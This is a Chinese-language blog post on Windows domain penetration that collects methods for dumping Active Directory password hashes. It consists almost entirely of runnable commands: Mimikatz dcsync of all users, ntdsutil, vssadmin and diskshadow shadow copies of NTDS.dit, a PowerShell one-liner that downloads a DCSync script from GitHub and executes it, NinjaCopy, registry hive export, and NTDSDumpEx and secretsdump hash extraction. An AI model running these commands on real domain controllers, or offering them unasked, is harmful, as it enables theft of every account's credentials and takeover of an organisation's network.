1. 程式人生 > 其它 >域滲透之匯出域Hash

域滲透之匯出域Hash

域滲透之匯出域Hash

前言

網上採集了一些域內匯出NTDS.dit檔案的方式

Hash 值儲存在域控制器中(C:\Windows\NTDS\NTDS.DIT)

Mimikatz

Mimikatz有一個功能(dcsync),它利用目錄複製服務(DRS)從 NTDS.DIT 檔案中檢索密碼 Hash 值。

Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit > hash.txt  //所有使用者 
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit > hash.txt   //# 指定使用者     

Ntdsutil

Ntdsutil 域控制器預設安裝,使管理員能訪問和管理 Windows Active Directory 資料庫。滲透測試中可以用它來拍攝 ntds.dit 檔案的快照

# 建立快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID 為 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 掛載快照
ntdsutil snapshot "mount GUID" quit quit

# 複製 ntds.dit
copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 解除安裝快照
ntdsutil snapshot "unmount GUID" quit quit

# 刪除快照
ntdsutil snapshot "delete GUID" quit quit

# 查詢快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

Vssadmin

域控制器預設安裝

# 查詢當前系統的快照
vssadmin list shadows

# 建立快照
vssadmin create shadow /for=c: /autoretry=10
"Shadow Copy Volume Name" 為 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
"Shadow Copy ID" 為 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 複製 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

# 刪除快照
vssadmin delete shadows /for=c: /quiet

Diskshadow

DiskShadow 是由微軟官方簽名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目錄C:\windows\system32\diskshadow.exe。包含互動式命令和指令碼模式。

# 檢視存放 `ntds.dit` 的邏輯驅動器(一般為 C 盤)
# 找出系統沒有使用的邏輯驅動器號
wmic logicaldisk

# 呼叫指令碼
C:\windows\system32\diskshadow.exe /s C:\shadow.txt

​ shadow.txt 內容

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset

Powershell

專案地址:https://github.com/EmpireProject/Empire

# 遠端載入 Invoke-DCSync.ps1

# 遠端載入 Invoke-DCSync.ps1
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-DCSync.ps1')";Invoke-DCSync -PWDumpFormat > hash.txt

通過NinjaCopy獲得域控伺服器NTDS.dit檔案

ninjacopy下載地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Import-Module -name .\Invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit" Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"     

ntds.dit 提取 Hash

NTDSDumpEx

# 離線模式:先匯出登錄檔
reg save hklm\system system.hiv 
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o hash.txt              

# 線上模式:無需匯出登錄檔 
NTDSDumpEx.exe -d ntds.dit -r -o hash.txt            

Impacket

專案地址:https://github.com/SecureAuthCorp/impacket

因為 Kali 的 python 環境安裝得比較全,所以使用 Kali 來解 Hash

python secretsdump.py -ntds /home/workspace/hash/ntds.dit -system /home/workspace/hash/sys.hiv LOCAL > /home/workspace/hash/hash.txt

使用 Ntdsutil、Vssadmin 等卷影拷貝工具時,需要先開啟 Volume Shadow Copy Service 服務

參考

[域滲透]匯出域使用者Hash方法總結